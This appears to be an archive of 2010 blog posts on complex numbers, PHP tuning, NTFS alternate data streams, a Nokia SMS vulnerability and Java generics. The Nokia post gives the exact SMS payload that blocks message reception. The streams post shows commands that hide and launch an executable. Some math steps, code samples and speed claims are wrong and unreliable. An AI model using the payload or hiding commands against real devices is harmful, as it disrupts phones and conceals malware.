Now, you can take the square root of a negative number, but it involves using a new number to do it. This new number was invented around the time of the Reformation. Don’t be surprised! If you think about it, aren't all numbers inventions? It's not like numbers grow on trees! They live in our heads. Why not invent a new one, as long as it works with what we already have?

Anyway, this new number is called $i$ (stands for "imaginary") and is defined to be:

$i = \sqrt{-1}$

Now, we have a number $i$ that has the property that $i^2 = -1$. Using this, we can now find the square roots of negative numbers in terms of real numbers and $i$. Therefore:

$i^2 = (\sqrt{-1})^2 = -1$

Now, you may think you can do this:

$i^2 = (\sqrt{-1})^2 = \sqrt{(-1)^2} = \sqrt{1} =1$

But you can't! You already have two numbers that square to 1; namely -1 and +1. And $i$ already squares to -1. So it's not reasonable that $i$ would also square to 1. This points out an important detail: When dealing with imaginaries, you gain something (the ability to deal with negatives inside square roots), but you also lose something (some of the flexibility and convenient rules you used to have when dealing with square roots). In particular, you must always do the imaginary part first.

Examples

Simplify $\sqrt{-18}$

$\sqrt{-18} = \sqrt{9\cdot 2 \cdot (-1)} = \sqrt{9}\;\sqrt{2}\;\sqrt{-1} = 3\sqrt{2}i$
Simplify $-\sqrt{-6}$

$-\sqrt{-6} = -\sqrt{6 \cdot (-1)} = -\sqrt{6}\;\sqrt{-1} = -\sqrt{6}i$
Simplify $i^9$

$i^9 = i^2\;i^2\;i^2\;i^2\;i = (-1)(-1)(-1)(-1)i = i$

Note that we can't simplify more then this.
Simplify $\sqrt{-49}$

$\sqrt{-49} = \sqrt{-1}1 \sqrt{49}= \pm 7i$

Now let's analyze that the pattern of powers, signs, 1's, and $i$'s is a cycle:

$\begin{eqnarray}
i^1&=&i\\
i^2&=&-1\\
i^3&=&-i\\
i^4&=&i\\
i^5&=&i^1=i\\
i^6&=&i^2=-1\\
i^7&=&i^3=-i\\
i^8&=&i^4=1\\
\end{eqnarray}$

In other words, to calculate any high power of $i$, you can convert it to a lower power by taking the closest multiple of 4 that's no bigger than the exponent and subtracting this multiple from the exponent. For example, a common trick question on tests is something along the lines of "Simplify $i^{99}$", the idea being that you'll try to multiply $i$ ninety-nine times and you'll run out of time, and the teachers will get a good giggle at your expense in the faculty lounge. Here's how the shortcut works:

$i^{99} = i^{96+3} = i^{(4\cdot 24)+3} = i^3 = -i$

That is, $i^{99} = i^3$, because you can just lop off the $i^{96}$. (Ninety-six is a multiple of four, so $i^{96}$ is just 1, which you can ignore.) In other words, you can divide the exponent by 4 (using long division), discard the answer, and use only the remainder. This will give you the part of the exponent that you care above. Here are a few more examples:

Simplify $i^{120}$

$i^{120} = i^{4 \cdot 30} = i^{4\cdot 30 + 0} = i^0 = 1$
Simplify $i^{64,002}$

$i^{64,002} = i^{64,000 + 2} = i^{4 \cdot 16,000 + 2} = i^2 = -1$

Now you've seen how imaginaries work; it's time to move on to complex numbers. "Complex" numbers have two parts, a "real" part (being any "real" number that you're used to dealing with) and an "imaginary" part (being any number with an $i$ in it). The "standard" format for complex numbers is $a + bi$; that is, real-part first and $i$-part last.

Operations on Complex Numbers

Unlike real numbers, complex numbers can produce negative numbers when squared; because of this, all polynomials have complex roots even though some of them may lack real roots.

Complex numbers can always be reduced to the form $a + bi$. If there are any terms with higher powers of $i$, you can factor out $i^2$ as many times as you need.

Furthermore, arithmetic on complex numbers obeys the same laws of algebra real numbers do.

$\begin{eqnarray}
(a + bi) + (c + di) &=& (a + c) + (b + d)i\\
(a + bi) - (c + di) &=& (a - c) + (b - d)i\\
(a + bi) * (c + di) &=& ac + adi + bci + bdi2\\
&=& (ac - bd) + (ad + bc)i
\end{eqnarray}$

Examples

Simplify $(2 + 3i)(1 - i)$

$(2 + 3i)(1 - i) = 2+3i-2i-3i^2 = 2+i-3(-1) = 5+i$
Simplify $2i + 3i$

$2i + 3i = (2 + 3)i = 5i$
Simplify $16i - 5i$

$16i - 5i = (16 - 5)i = 11i$
Multiply and simplify $(3i)(4i)$

$(3i)(4i) = (3\cdot 4)(i\cdot i) = (12)(i^2) = (12)(-1) = -12$
Multiply and simplify $(i)(2i)(-3i)$

$\begin{eqnarray}
(i)(2i)(-3i) &=& (2 \cdot -3)(i \cdot i \cdot i)\\
&=& (-6)(i^2 \cdot i)\\
&=& (-6)(-1 \cdot i) = (-6)(-i) = 6i\\
\end{eqnarray}$

Note this last problem. Within it, you can see that $i^3 = -i$, because $i^2 = -1$.
Simplify $(2 + 3i) + (1 - 6i)$

$(2 + 3i) + (1 - 6i) = (2 + 1) + (3i - 6i) = 3 + (-3i) = 3 - 3i$
Simplify $(5 - 2i) - (-4 - i)$

$\begin{eqnarray}
(5 - 2i) - (-4 - i) &=& (5 - 2i) - 1(-4 - i) = 5 - 2i - 1(-4) - 1(-i)\\
& = &5 - 2i + 4 + i = (5 + 4) + (-2i + i)\\
& = & (9) + (-1i) = 9 - i
\end{eqnarray}$

You may find helpful to insert the "1" in front of the second set of parentheses so you can better keep track of the "minus" being multiplied through the parentheses.

Adding and multiplying complexes isn't too bad. It's when you work with fractions that things turn ugly. Most of the reason for this ugliness is actually arbitrary. Remember back in elementary school, when you first learned fractions? Your teacher would get her panties in a wad if you used "improper" fractions. For instance, you couldn't say "$\frac{3}{2}$"; you had to convert it to "$1 + \frac{1}{2}$". But now that you're in algebra, nobody cares, and you've probably noticed that "improper" fractions are often more useful than "mixed" numbers. The issue with complex numbers is that your professor will get his boxers in a bunch if you leave imaginaries in the denominator. So how do you handle this?

Suppose you have the following exercises:

Simplify $\frac{3}{2i}$

This is pretty "simple", but they want you to get rid of that $i$ underneath, in the denominator ? To do this, you will use the fact that $i^2 = -1$. If you multiply the fraction, top and bottom, by $i$, then the $i$ underneath will vanish in a puff of negativity

$\frac{3}{2i} = \frac{3}{2i} \cdot \frac{i}{i} = \frac{3i}{2i^2} = \frac{3i}{2\cdot (-1)} = \frac{3i}{-2} = -\frac{3i}{2} = -\frac{3}{2}i$

So the answer is $-\frac{3}{2}i$.
Simplify $\frac{3}{2+i}$

If you multiply this fraction, top and bottom, by $i$, I'll get:

$\frac{3}{2+i} = \frac{3}{2+i} \cdot \frac{i}{i} = \frac{3i}{2i+i^2} = \frac{3i}{2i-1} = \frac{3i}{-1 + 2i}$

Since you still have an $i$ underneath, this didn't help much. So how do you handle this simplification? You use something called "conjugates". The conjugate of a complex number $z=a + bi$ is the same number, but with the opposite sign in the middle: $\bar{z}=a - bi$. When you multiply conjugates, you are, in effect, multiplying to create something in the pattern of a difference of squares:

$\begin{eqnarray}
(a+bi)(a-bi) &=& a^2 -abi+abi-(bi)^2\\
&=& a^2 - b^2(i^2)\\
&=& a^2-b^2(-1)\\
&=&a^2+b^2
\end{eqnarray}$

Note that the $i$'s disappeared, and the final result was a sum of squares. This is what the conjugate is for, and here's how it is used:

$\begin{eqnarray}
\frac{3}{2+i}&=&\frac{3}{2+i}\cdot \frac{2-i}{2-i} \\
&=&\frac{3(2-i)}{(2+i)(2-i)}\\
&=&\frac{6-3i}{4-2i+2i-i^2}\\
&=&\frac{6-3i}{4-(-1)}\\
&=&\frac{6-3i}{4+1}\\
&=&\frac{6-3i}{5}\\
&=&\frac{6}{5}-\frac{3}{5}i
\end{eqnarray}$

So the answer is $\frac{6}{5}-\frac{3}{5}i$

In the last step, note how the fraction was split into two pieces. This is because, technically speaking, a complex number is in two parts, the real part and the $i$ part. They aren't supposed to "share" the denominator. To be sure your answer is completely correct, split the complex-valued fraction into its two separate terms.

Conjugation

As I explained before, the complex conjugate of the complex number $z = x + yi$ is defined to be $x − yi$, written as \bar{z} or z^*. You can imagine $\bar{z}$ to be the "reflection" of $z$ about the real axis. Therefore, both $z+\bar{z}$ and $z\cdot\bar{z}$ are real numbers.

We also have the square of the absolute value obtained by multiplying a complex number by its conjugate:

$|z|^2 = z\cdot\bar{z}$
$|z|=|\bar{z}|$
$z^{-1} = \frac{\bar{z}}{|z|^{2}}$ if $z$ is non-zero.

The real and imaginary parts of a complex number can also be extracted using the conjugate:

$\bar{z}=z$ if and only if $z$ is real
$\bar{z}=-z$ if and only if $z$ is purely imaginary
Re$\{z\} = \frac{1}{2}(z+\bar{z})$
Im$\{z\} = \frac{1}{2i}(z-\bar{z})$

Complex Numbers and The Quadratic Formula

You'll probably only use complexes in the context of solving quadratics for their zeroes. However there are many other practical uses for complexes, but for now you'll have to wait my next post on this topic.

Remember that the Quadratic Formula solves $ax^2 + bx + c = 0$ for the values of $x$. Also remember that this means that you are trying to find the x-intercepts of the graph. When the Formula gives you a negative inside the square root, you can now simplify that zero by using complex numbers. The answer you come up with is a valid "zero" or "root" or "solution" for $ax^2 + bx + c = 0$, because, if you plug it back into the quadratic, you'll get zero after you simplify. But you cannot graph a complex number on the x,y-plane. So this "solution to the equation" is not an x-intercept.

As an aside, you can graph complexes, but not in the x,y-plane. You need the "complex" plane. For the complex plane, the x-axis is where you plot the real part, and the y-axis is where you graph the imaginary part. For instance, you would plot the complex number $3 - 2i$ in the position $(x,yi) = (3,2)$

This leads to an interesting fact: When you learned about regular ("real") numbers, you also learned about their order (this is what you show on the number line). But x,y-points don't come in any particular order. You can't say that one point "comes after" another point in the same way that you can say that one number comes after another number. For instance, you can't say that (4, 5) "comes after" (4, 3) in the way that you can say that 5 comes after 3. Pretty much all you can do is compare "size", and, for complex numbers, "size" means "how far from the origin". To do this, you use the Distance Formula, and compare which complexes are closer to or further from the origin. This "size" concept is called "the modulus". For instance, looking at our complex number plotted above, its modulus is computed by using the Distance Formula:

$|3-2i| = \sqrt{3^2+2^2} = \sqrt{9+4} = \sqrt{13} \approx 3.61$

Note that all points at this distance from the origin have the same modulus. All the points on the circle with radius $\sqrt{13}$ are viewed as being complex numbers having the same "size" as $3 - 2i$.

Complex Number in Phasor Form

A complex number $z=x+iy$ can be written in "phasor" form $z=|z|(cos\; \theta + i\; sin\; \theta)=|z|e^{i\theta}$

Here, $|z|$ is known as the complex modulus (or sometimes the complex norm) and $\theta$ is known as the complex argument or phase. The plot above shows what is known as an Argand diagram of the point z, where the dashed circle represents the complex modulus $|z|$ of $z$ and the angle $\theta$ represents its complex argument. Historically, the geometric representation of a complex number as simply a point in the plane was important because it made the whole idea of a complex number more acceptable. In particular, "imaginary" numbers became accepted partly through their visualization.

Matrix representation of complex numbers

While usually not useful, alternative representations of the complex field can give some insight into its nature. One particularly elegant representation interprets each complex number as a $2\times 2$ matrix with real entries which stretches and rotates the points of the plane. Every such matrix has the form

$\begin{pmatrix}a & -b\\b & a\end{pmatrix}$

where a and b are real numbers. The sum and product of two such matrices is again of this form, and the product operation on matrices of this form is commutative. Every non-zero matrix of this form is invertible, and its inverse is again of this form.

Therefore, the matrices of this form are a field, isomorphic to the field of complex numbers. Every such matrix can be written as

$\begin{pmatrix}a & -b\\b & a\end{pmatrix} =a\begin{pmatrix}1 & 0\\0 & 1\end{pmatrix}+b\begin{pmatrix}0 & -1\\1 & 0\end{pmatrix}$

which suggests that we should identify the real number 1 with the identity matrix

$\begin{pmatrix}1 & 0\\0 & 1\end{pmatrix}$

and the imaginary unit $i$ with

$\begin{pmatrix}0 & -1\\1 & 0\end{pmatrix}$

a counter-clockwise rotation by 90 degrees. Note that the square of this latter matrix is indeed equal to the 2x2 matrix that represents -1.

The square of the absolute value of a complex number expressed as a matrix is equal to the determinant of that matrix.

$|z|^2 = det\; \left( \begin{array}{c c}a & -b\\b & a\end{array}\right) = (a^2) - ((-b)(b)) = a^2 + b^2$

References

Stapel, Elizabeth. "Complex Numbers & The Quadratic Formula." Purplemath. Available from http://www.purplemath.com/modules/complex3.htm. Accessed 28 April 2010

Complex Numbers. Wikipedia. Available from http://en.wikipedia.org/wiki/Complex_number. Accessed 28 April 2010

PHP Web Development Tips and Tricks

2010-04-14T18:24:00.025+02:00

There are a number of tricks that can make your life easier and help you to squeeze the last bit of performance from your scripts. These tricks won't make your web applications much faster, but can give you that little edge in performance you may be looking for. More importantly it may give you insight into how PHP internals works allowing you to write code that can be executed in more optimal fashion by the Zend Engine.

1. Static methods

If a method can be declared static, declare it static. Speed improvement is by a factor of 4.

2. echo() vs. print()

Even both of these output mechanism are language constructs, if you benchmark the two you will quickly discover that print() is slower then echo(). The reason for that is quite simple, print function will return a status indicating if it was successful or not (note: it does not return the size of the string), while echo simply print the text and nothing more. Since in most cases this status is not necessary and is almost never used it is pointless and simply adds unnecessary overhead.

echo( 'Hello World' );  
// is better than  
print( 'Hello World' );

3. echo's multiple parameters

Use echo's multiple parameters instead of string concatenation. It's faster.

echo 'Hello', ' ', 'World';  
// is better than  
echo 'Hello' . ' ' . 'World';

4. Avoid the use of printf

Using printf() is slow for multitude of reasons and I would strongly discourage it's usage unless you absolutely need to use the functionality this function offers. Unlike print and echo printf() is a function with associated function execution overhead. More over printf() is designed to support various formatting schemes that for the most part are not needed in a language that is typeless and will automatically do the necessary type conversions. To handle formatting printf() needs to scan the specified string for special formatting code that are to be replaced with variables. As you can probably imagine that is quite slow and rather inefficient.

echo 'Result:', $result;  
// is better than  
printf( "Result: %s", $result );

5. Single quotes vs. double quotes

In PHP there is a difference when using either single or double quotes, either ‘ or “. If you use double quotes ” then you are telling the code to check for a variable. If you are using single quotes ‘ then you are telling it to print whatever is between them. This might seem a bit trivial, but if you use the double quotes instead of the single quotes, it will still output correctly, but you will be wasting processing time.

echo 'Result: ' . $var;  
// is better than  
echo "Result: $var";

Even the use of sprintf instead of variables contained in double quotes, it’s about 10x faster.

Read more...

6. Methods in derived classes vs. base classes

Methods in derived classes run faster than ones defined in the base class.

7. Accessing arrays

e.g. $row['id'] is 7 times faster than $row[id]

8. Do not implement every data structure as a class

Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory. For this reason, do not implement every data structure as a class, arrays are useful, too.

9. Avoid functions inside loops

Try to use functions outside loops. Otherwise the function may get called each time.

// e.g. In PHP for loop with a count() inside the control 
// block will be executed on EVERY loop iteration. 
$max = count( $array );  
for( $i = 0; $i < $max; $i++ )  
{  
    // do something  
}  
  
// is better than  
  
for( $i = 0; $i < count( $array ); $i++ )  
{  
    // do something  
}

It's even faster if you eliminate the call to count() AND the explicit use of the counter by using a foreach loop in place of the for loop.

foreach ($array as $i) {
    // do something  
}

Read more...

Note: A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.

10. ?> <?

When you need to output a large or even a medium sized static bit of text it is faster and simpler to put it outside the of PHP. This will make the PHP's parser effectively skipover this bit of text and output it as is without any overhead. You should be careful however and not use this for many small strings in between PHP code as multiple context switches between PHP and plain text will ebb away at the performance gained by not having PHP print the text via one of it's functions or constructs.

11. isset instead of strlen

When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using a isset() trick.

if (!isset($foo{5})) { echo "Foo is too short"; }
// is better than
if (strlen($foo) < 5) { echo "Foo is too short"; }

Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.

12. true is faster than TRUE

This is because when looking for constants PHP does a hash lookup for name as is. And since names are always stored lowercased, by using them you avoid 2 hash lookups. Furthermore, by using 1 and 0 instead of TRUE and FALSE, can be considerably faster.

13. Incrementing or decrementing the value of the variable

When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.

Additionally,

1. Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.

2. Incrementing a global variable is 2 times slower than a local variable.

3. Incrementing an object property (eg. $this->prop++) is 3 times slower than a local variable.

4. Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.

Read more ... and more...

14. Replace regex calls with ctype extension, if possible

Many scripts tend to reply on regular expression to validate the input specified by user. While validating input is a superb idea, doing so via regular expression can be quite slow. In many cases the process of validation merely involved checking the source string against a certain character list such as A-Z or 0-9, etc... Instead of using regex in many instances you can instead use the ctype extension (enabled by default since PHP 4.2.0) to do the same. The ctype extension offers a series of function wrappers around C's is*() function that check whether a particular character is within a certain range. Unlike the C function that can only work a character at a time, PHP function can operate on entire strings and are far faster then equivalent regular expressions.

ctype_digit($foo);
// is better than
preg_match("![0-9]+!", $foo);

15. isset vs. in_array and array_key_exists

Another common operation in PHP scripts is array searching. This process can be quite slow as regular search mechanism such as in_array() or manual implementation work by iterating through the entire array. This can be quite a performance hit if you are searching through a large array or need to perform the searches frequently. So what can you do? Well, you can do a trick that relies upon the way that Zend Engine stores array data. Internally arrays are stored inside hash tables when they array element (key) is the key of the hashtables used to find the data and result is the value associated with that key. Since hashtable lookups are quite fast, you can simplify array searching by making the data you intend to search through the key of the array, then searching for the data is as simple as $value = isset($foo[$bar])) ? $foo[$bar] : NULL;. This searching mechanism is way faster then manual array iteration, even though having string keys maybe more memory intensive then using simple numeric keys.

$keys = array("apples"=>1, "oranges"=>1, "mangoes"=>1);
if (isset($keys['mangoes'])) { ... }

// is roughly 3 times faster then

$keys = array("apples", "oranges", "mangoes");
if (in_array('mangoes', $keys)) { ... }

// isset is also faster then
if(array_key_exists('mangoes', $keys)) { ... }

Note: However the lookup times don't diverge until you've got a very considerable amount of data in your array. e.g. If you have just 2-3 entries in your array, it will take more time to hash the values and perform the lookup than it would take to perform a simple linear search ( O( n ) vs. O( log n ) )

16. Free unnecessary memory

Unset your variables to free memory, especially large arrays.

17. Specify full paths

Use full paths in includes and requires, less time spent on resolving the OS paths.

include( '/var/www/html/your_app/database.php' );  
//is better than  
include( 'database.php' );

18. regex vs. strncasecmp, strpbrk and stripos

See if you can use strncasecmp, strpbrk and stripos instead of regex, since regex is usually slower.

19. str_replace vs. preg_replace vs. strtr

The str_replace is better than preg_replace, but strtr is better than str_replace by a factor of 4.

20. select vs. multi if and else if statements

It’s better to use select statements than multi if, else if statements.

switch( $name )
  {
   case 'aaa':
   // do something
   break;

   case 'bbb':
   // do something
   break;

   case 'ccc':
   // do something
   break;

   default:
   // do something
   break;
  }

  // is better than

  if( $name == 'aaa' )
  {
   // do something
  }
  else if( $name == 'bbb' )
  {
   // do something
  }
  else if( $name == 'ccc' )
  {
   // do something
  }
  else
  {
   // do something
  }

21. Error suppression with @ is very slow

$name = isset( $id ) : 'aaa' : NULL;  
//is better than  
$name = @'aaa';

22. Boolean Inversion

Most of the time, inverting a boolean value is as simple as using the logical ‘not’ operator e.g. false = !true. That’s easy enough, but occasionally you might find yourself working with integer-type booleans instead, with 1s and 0s in the place of true and false; in that case, here’s a short PHP snippet that does the same thing:

$true = 1;
$false = 1 - $true;
$true = 1 - $false;

The same principle can be used any time you want to toggle an integer between two values e.g. between 2 and 5:

$val = 5;
$val = 7 - $val; // now it's 2...
$val = 7 - $val; // and now it's 5 again

23. isset($var, $var, …)

Useful little thing, this - you can check the state of multiple variables within a single PHP isset() construct, like so:

$foo = $bar = 'are set';
isset($foo, $bar); // true
isset($foo, $bar, $baz); // false
isset($baz, $foo, $bar); // false

On a related note, in case you’re not already aware of this, isset actually sees null as being not set:

$list = array('foo' => 'set', 'bar' => null);
isset($list['foo']); // true, as expected
isset($list['bar']); // false!

In situations like the above, it’s more reliable to use array_key_exists().

24. Modulus Operator

During a loop, it’s a fairly common need to perform a specific routine every n-th iteration. The modulus operator is extremely helpful here - it’ll divide the first operand by the second and return the remainder, to create a useful, cyclic sequence:

for ($i = 0; $i < 10; ++$i)
{
    echo $i % 4, ' ';
}
// outputs 0 1 2 3 0 1 2 3 0 1

25. http_build_query

This function turns a native array into a nicely-encoded query string. Furthermore, this native function is configurable and fully supports nested arrays.

26. <input name="foo[bar]" />

HTML + PHP are quite capable of handling form fields as arrays. This one’s particularly helpful when dealing with multiple checkboxes since the selected values can be automatically pushed into an indexed (or associative) array, rather than having to capture them yourself.

27. get_browser()

Easily get your hands on the users browser-type. Some leave this process to the browser end but can be useful to get this info server side.

28. debug_print_backtrace()

I use this one a lot, print a debug-style list of what was called to get the the point where this function is called.

29. Automatic optimization for your database

Just like you need to defrag and check your file system, it’s important to do the same thing with SQL tables. If you don’t, you might end up with slow and corrupted database tables.

Furthermore, you will probably add and delete tables from time to time. Therefore, you want a solution that works no matter how your database looks like. For this, you can use this PHP script that finds all your tables, and then perform Optimize on every single one. Then a good idea can be to do this every night (or whenever your server is least accessed) with “cron” because you don’t want to delay your surfers to much.

dbConnect()
$tables = mysql_query("SHOW TABLES");

while ($table = mysql_fetch_assoc($tables))
{
   foreach ($table as $db => $tablename)
   {
       mysql_query("OPTIMIZE TABLE '".$tablename."'")
           or die(mysql_error());
   }
}

30. require() vs. require_once()

Use require() instead of require_once() where possible.

Read more...

31. Check System Calls

A common mistake with Apache

/usr/sbin/apache2 -X &
strace -p 16367 -o sys1.txt 
grep stat sys1.txt | grep -v fstat | wc -l
...
index.html (No such file or directory)
index.cgi  (No such file or directory)
index.pl   (No such file or directory)
index.php ...

Fix DirectoryIndex

<Directory /var/www>
    DirectoryIndex index.php
</Directory>

32. Secure HTTP connections

You can force a secure HTTP connection using the following code,

if (!($HTTPS == "on")) {
   header ("Location: https://$SERVER_NAME$php_SELF");
   exit;
}

References

[1] Here it is. 8 randomly useful PHP tricks. http://theresmystuff.com, 2010.

[2] TJS. 5 useful (PHP) tricks and functions you may not know. http://www.tjs.co.uk, 2010.

[3] Checkmate - Play with problems. Optimize your PHP Code - Tips, Tricks and Techniques. http://abcphp.com, 2008.

[4] iBlog - Ilia Alshanetsky. PHP Optimization Tricks. http://ilia.ws, 2004.

Alternate Data Streams

2010-04-09T19:50:00.013+02:00

Ever since Windows 2000, the NTFS file system in Windows has supported Alternate Data Streams, which allow you to store data “behind” a filename with the use of a stream name.

This isn't a well known feature and was included, primarily, to provide compatibility with files in the Macintosh file system. Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called :$DATA.

Windows Explorer doesn't provide a way of seeing what alternate data streams are in a file but they can be created and accessed easily. Because they are difficult to find they are often used by hackers to hide files on machines that they've compromised (perhaps files for a root-kit). Executables in alternate data streams can be executed from the command line and they will not show up in Windows Explorer (or the Console).

How to write data to hidden streams

You can add data to a hidden stream by using any command that can pipe input or output and accept the standard FileName:StreamName syntax. You may also use some text editors such as Notepad.

Here, the StreamName can be seen as a secret word. If you plan to use notepad remember that StreamName must have the extension on the end, e.g. secretword.txt, secretword.exe.

For instance, let's use the echo command and use the data stream name todo.txt for compatibility with notepad.

echo Important - Kiss the girl next door tomorrow 
> library.txt:todo.txt

You can add whatever other information to this file that you’d like.
If you prefer to use notepad you can use the following command:

notepad.exe library.txt:todo.txt

Remember that if you didn’t specify the extension on the end, Notepad will automatically add it, and ask if you want to create a new file, even if library.txt already existed, this because todo.txt doesn’t exist.

You can use the command line again to add a second hidden “compartment” with a different name:

echo think-techie.com is really cool > library.txt:secrets.txt

If you check your filesystem you will find only one empty file called library.txt with zero bytes (because the file is empty and the file size corresponds always to this default data stream, :$DATA). You can even open up the file by double-clicking on it, and add whatever data you want to make the file look normal.

You can even do something more cool like this:

C:\> type C:\windows\system32\notepad.exe > c:\windows\system32\calc.exe:notepad.exe
C:\> start c:\windows\system32\calc.exe:notepad.exe

With similar commands you can hide also applications.

Notes:

None of these hidden files will affect the other, or change the main file.
You have to use the command line to access the hidden data.
You can’t copy your file to another location and access the streams over there.

Reading a Stream

You can read data from the stream by piping data into the more command or by using notepad, with the following syntax:

more < FileName:StreamName

notepad.exe FileName:StreamName

For instance,

notepad.exe library.txt:todo.txt

Of course these files aren’t completely hidden because you can use a small command line application called Streams.exe to detect files that have streams, including their names and sizes. As alternative you can use the DIR command, if you are using Vista.

For instance, in my scenario we’d use the following syntax:

streams.exe library.txt

and the result would be:

C:\>streams.exe library.txt

Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\>library.txt:
     :secrets.txt:$DATA 34
        :todo.txt:$DATA 46

Conclusion

This isn’t a secure way to hide data. It’s just one of those things that can be used for fun or be handy here or there.

The Curse Of Silence

2010-03-02T20:21:00.004+01:00

A serious vulnerability for Nokia phones has been unveiled. This vulnerability blocks all incoming messages, whether it be in the form of SMS or MMS. It is considered to be a "Remote SMS/MMS Denial of Service" and is called the "Curse Of Silence".

If the name isn’t enough to convince you just how bad this exploit really is, consider this: One day, you might wake up not being able to receive any messages on your phone. Probably you will think the problem is a hardware or software defect, but in the end it's just because of this exploit.

This vulnerability can be explored by sending a simple, carefully tweaked SMS to any S60-based Nokia phone. Furthermore, the user interface does not give any indication of this situation.

How it really works

Emails can be sent via SMS by setting the messages Protocol Identifier to "Internet Electronic Mail" and formatting the message like this:

<email-address><space><message body>

If such messages contain an <email-address> with more than 32 characters, S60 2.6, 2.8, 3.0 and 3.1 devices are not able to receive other SMS or MMS messages anymore. 2.6 and 3.0 devices lock up after only one message, 2.8 and 3.1 devices after 11 messages.

The simplest way to perform this attack is to write a SMS containing "123456789@123456789.1234567890123 " (the digits are used only to illustrate the length of the "email address" of more than 32 characters) to the target device. Note the space at the end of the message!

Don't forget, you need to send a SMS with the type set to E-Mail (0x50). For example, on S60 devices, when in the message editor, the type of the message can be switched to "E-mail" under "Options" -> "Sending options" -> "Message sent as". The 6310i conveniently offers a "Write email" menu entry in the messaging menu.

Workarounds

The only action to remedy this situation from user side seems to be the installation of small application created by Nokia or a Factory Reset of the device (by entering "*#7370#").

Furthermore, some network operators may also filter messages with TP-PID "Internet Electronic Mail" and an email address of more than 32 characters or reset the TP-PID of these messages to 0.

Detailed List of Affected Products

S60 3rd Edition, Feature Pack 1 (S60 3.1):
Nokia E90 Communicator
Nokia E71
Nokia E66
Nokia E51
Nokia N95 8GB
Nokia N95
Nokia N82
Nokia N81 8GB
Nokia N81
Nokia N76
Nokia 6290
Nokia 6124 classic
Nokia 6121 classic
Nokia 6120 classic
Nokia 6110 Navigator
Nokia 5700 XpressMusic

S60 3rd Edition, initial release (S60 3.0):
Nokia E70
Nokia E65
Nokia E62
Nokia E61i
Nokia E61
Nokia E60
Nokia E50
Nokia N93i
Nokia N93
Nokia N92
Nokia N91 8GB
Nokia N91
Nokia N80
Nokia N77
Nokia N73
Nokia N71
Nokia 5500
Nokia 3250

S60 2nd Edition, Feature Pack 3 (S60 2.8):
Nokia N90
Nokia N72
Nokia N70

S60 2nd Edition, Feature Pack 2 (S60 2.6):
Nokia 6682
Nokia 6681
Nokia 6680
Nokia 6630

Using Java Generics

2010-02-09T21:00:00.006+01:00

Many programmers are unsatisfied with the restrictions caused by the way generics are implemented in Java. Generics are implemented using erasure, in which generic type parameters are simply removed at compile time (Thus not available to the JVM at runtime). However, that doesn't render generics useless.

Since Java has two compilation steps, during the first phase (compile-time) the compiler will insert necessary casts in the code (so you don't have to) based on the generic type parameters, and then perform the typechecking. During the second phase the JVM doesn’t make use of type information for type parameters (though it seems like the information is stored in the ".class" file metadata area).

Since the JVM isn’t aware of the type parameters associated with a type, it isn’t able to infer that certain operations are safe.

Map<Integer,String> m = new HashMap<Integer,String>();
m.put(1, "SomeString");
String s = m.get(1);

The new Java language allows the above code, but it gets compiled to:

Map m = new HashMap();
m.put(1, "SomeString");
String s = (String) m.get(1);

The lack of runtime type information causes things to not work as expected.

Generic Arrays

You cannot instantiate arrays of concrete parameterized types.

List<Point3D>[] l = new List<Point3D>[10];

The compiler will reject that because it could lead to a type error.

The problem stems from the fact that every time you store a value into an array, there’s a runtime check involved. While that check might be optimized away in certain situations, the language spec doesn’t identify those situations; as far as the semantics are concerned, arrays are not really type safe.

The main source of all the array-related issues is that Java arrays are covariant even though this is not typesafe. That’s why storing to an array requires runtime checks. If array variance was handled properly, there’d be no problem.

Casts

Runtime type casting relies on runtime type information. When you don’t have that information, casts don’t work correctly.

public void fun(Object o) {
  List<Integer> l = (List<Integer>) o;
}

The compiler will issue a warning on line 2 saying that the cast is unchecked. It’s not fully unchecked, because the JVM will check to see if it’s actually a "List", but it can’t check whether it’s a list of Integers or Point3D because that information has been erased.

Since it’s only a warning, you can execute that code and this particular fragment will run just fine. The problem only surfaces when you try and access one of the list elements with, for example, get(). The Java compiler automatically casts the return value of get() to Integer so if the list you got actually contained Point3D objects, you’ll end up with a ClassCastException.

The root problem here is that casts aren’t really type safe. Many functional programming languages use type-safe tagged unions to achieve the similar functionality.

Can’t Call Constructor

public class Pair<T> {
    T x1, x2;
    public Pair() {}
    public void init() {
        x1 = new T();  // Error
        x2 = new T();  // Error
    }
}

This limitation isn’t solely due to type erasure. This is disallowed because there’s no guarantee that the class "T" has a constructor that takes zero parameters. However, you can get around this by using a factory:

public interface Factory<T> {
    T create();
}

public  class Container<T> {
    Factory<T> factory;
    T x1, x2;

    public Pair(Factory<T> factory) { 
        this.factory = factory 
    }

    public void init() {
        x1 = factory.create ();
        x2 = factory.create ();
    }
}

Hacking Generics

Let’s assume we want to create an array to handle generic operations with generic types (e.g. Array multiplication of numeric and non-numeric types: Integer, Point3D, String, ..)

As you know you can’t create an array of generics with T[] t = new T[1] and we can't use Class clazz = T.getClass(). However inside a static context we can access some information about the generic type using the following code:

Class clazz = (Class) ((java.lang.reflect.ParameterizedType)
    getClass().getGenericSuperclass()
        ).getActualTypeArguments()[0];

Now that we know the type, it is possible to allocate the generic array and optionally instantiate it.

array = (T[]) Array.newInstance(clazz, size); 

/** Call default constructor */
